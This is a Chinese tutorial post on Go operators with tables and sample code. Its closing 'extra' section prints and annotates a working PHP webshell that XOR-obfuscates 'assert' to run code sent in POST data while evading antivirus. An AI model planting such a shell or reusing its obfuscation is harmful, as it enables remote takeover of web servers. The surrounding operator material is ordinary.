Go语言学习08-运算符

0x00 概述

运算符用于在程序运行时执行数学或逻辑运算。

Go 语言内置的运算符有:

  1. 算术运算符
  2. 关系运算符
  3. 逻辑运算符
  4. 位运算符
  5. 赋值运算符

0x01 算术运算符

运算符 描述
+ 相加
- 相减
* 相乘
/ 相除
% 求余

注意: ++(自增)和--(自减)在Go语言中是单独的语句,并不是运算符。

0x02 关系运算符

运算符 描述
== 检查两个值是否相等,如果相等返回 True 否则返回 False。
!= 检查两个值是否不相等,如果不相等返回 True 否则返回 False。
> 检查左边值是否大于右边值,如果是返回 True 否则返回 False。
>= 检查左边值是否大于等于右边值,如果是返回 True 否则返回 False。
< 检查左边值是否小于右边值,如果是返回 True 否则返回 False。
<= 检查左边值是否小于等于右边值,如果是返回 True 否则返回 False。

0x03 逻辑运算符

运算符 描述
&& 逻辑 AND 运算符。 如果两边的操作数都是 True,则为 True,否则为 False。
|| 逻辑 OR 运算符。 如果两边的操作数有一个 True,则为 True,否则为 False。
! 逻辑 NOT 运算符。 如果条件为 True,则为 False,否则为 True。
package main

import "fmt"

func main() {
	//运算符练习
	a := 10
	b := 200
	a++ //++在go中表示是一个语句,不能赋值,如:a = a++这样是错的
	b++
	fmt.Printf("%d\n", b+a)
	fmt.Printf("%d\n", b-a)
	fmt.Printf("%d\n", b*a)
	fmt.Printf("%d\n", b/a)
	fmt.Printf("%d\n", b%a)
	fmt.Printf("%d\n", a)
	fmt.Printf("%d\n", b)

	/*关系运算符,返回的永远是true或者false*/
	fmt.Println(a == b) //GO语言是强类型语言,只有相同才能比较
	fmt.Println(a != b) //不等于,没有!==这样的写法
	fmt.Println(a <= b)

	/*逻辑运算符&& || */
	//如果年龄大于18岁并且小于60岁...
	age := 4
	if age > 18 && age <= 60 {
		fmt.Print("正值壮年!")
	} else if age <= 18 {
		fmt.Println("未成年呢?回家写作业去吧~")
	} else {
		fmt.Println("活着真好啊!")
	}
	//如果年龄大于60岁或者小于18岁
	if age <= 18 || age >= 60 {
		fmt.Println("老弱病残!")
	}

	//! 即not取反,原来为真输出假,原来为假输出真
	isMarried := false
	fmt.Println(isMarried)
	fmt.Println(!isMarried)
}

image-20220210213804825

0x04 位运算符

位运算符对整数在内存中的二进制位进行操作。

运算符 描述
& 参与运算的两数各对应的二进位相与。 (两位均为1才为1)
| 参与运算的两数各对应的二进位相或。 (两位有一个为1就为1)
^ 参与运算的两数各对应的二进位相异或,当两对应的二进位相异时,结果为1。 (两位不一样则为1)
<< 左移n位就是乘以2的n次方。 “a<<b”是把a的各二进位全部左移b位,高位丢弃,低位补0。
>> 右移n位就是除以2的n次方。 “a>>b”是把a的各二进位全部右移b位。
//位运算符5的二进制为101 2为10
	fmt.Println(5 & 2)   //000	与运算:两个数的二进制对齐后,都为1的才为1,否则为0
	fmt.Println(5 | 2)   //111	或运算:有一个1就为1
	fmt.Println(5 ^ 2)   //111	异或运算:两位不一样才为1
	fmt.Println(5 << 1)  //1010 => 10
	fmt.Println(1 << 10) // 10000000000 => 1024
	fmt.Println(5 >> 2)  //1 => 1

0x05 赋值运算符

运算符 描述
= 简单的赋值运算符,将一个表达式的值赋给一个左值
+= 相加后再赋值
-= 相减后再赋值
*= 相乘后再赋值
/= 相除后再赋值
%= 求余后再赋值
<<= 左移后赋值
>>= 右移后赋值
&= 按位与后赋值
|= 按位或后赋值
^= 按位异或后赋值

额外

蚁剑webshell免杀插件中代码分析:

<?php 
class THOD { 			
    function bTYv() {			
        $iEEK = "\x44" ^ "\x25";	//这里就是0x44和0x25的位运算符,两个换成二进制后,对应的位上面不同取1,相同则为0
        $MfpS = "\x34" ^ "\x47";
        $Jdkm = "\x6d" ^ "\x1e";
        $dWtj = "\x30" ^ "\x55";
        $yAoK = "\x2c" ^ "\x5e";
        $yexb = "\x6" ^ "\x72";
        $NzKh =$iEEK.$MfpS.$Jdkm.$dWtj.$yAoK.$yexb; //用.将前面的值都赋予进来
        return $NzKh;			//到这里其实就是assert函数
    }
    function __destruct(){		//对象销毁的时候,调用此函数
        $gYNh=$this->bTYv();	// 调用assert()函数方法给$gYNh
        @$gYNh($this->zH);		//调用$gYNh函数,即assert($this->zH)
    }
}
$thod = new THOD();			//实例化一个class,用$thod变量接收
//下面这条语句其实就是assert(isset($_GET['id'])?base64_decode($_POST['admin']):$_POST['admin']);),assert来执行用户传入的数据,进行代码执行
@$thod->zH = isset($_GET['id'])?base64_decode($_POST['admin']):$_POST['admin']);
?>

练习题

1、有一堆数字,如果除了一个数字以外,其他数字都出现了两次,那么如何找到出现一次的数字?

如:在这里找到仅仅出现一次的:77777878896868660686787218790986060787

posted @ 2022-02-20 15:59  谨言慎行啊  阅读(55)  评论(0)    收藏  举报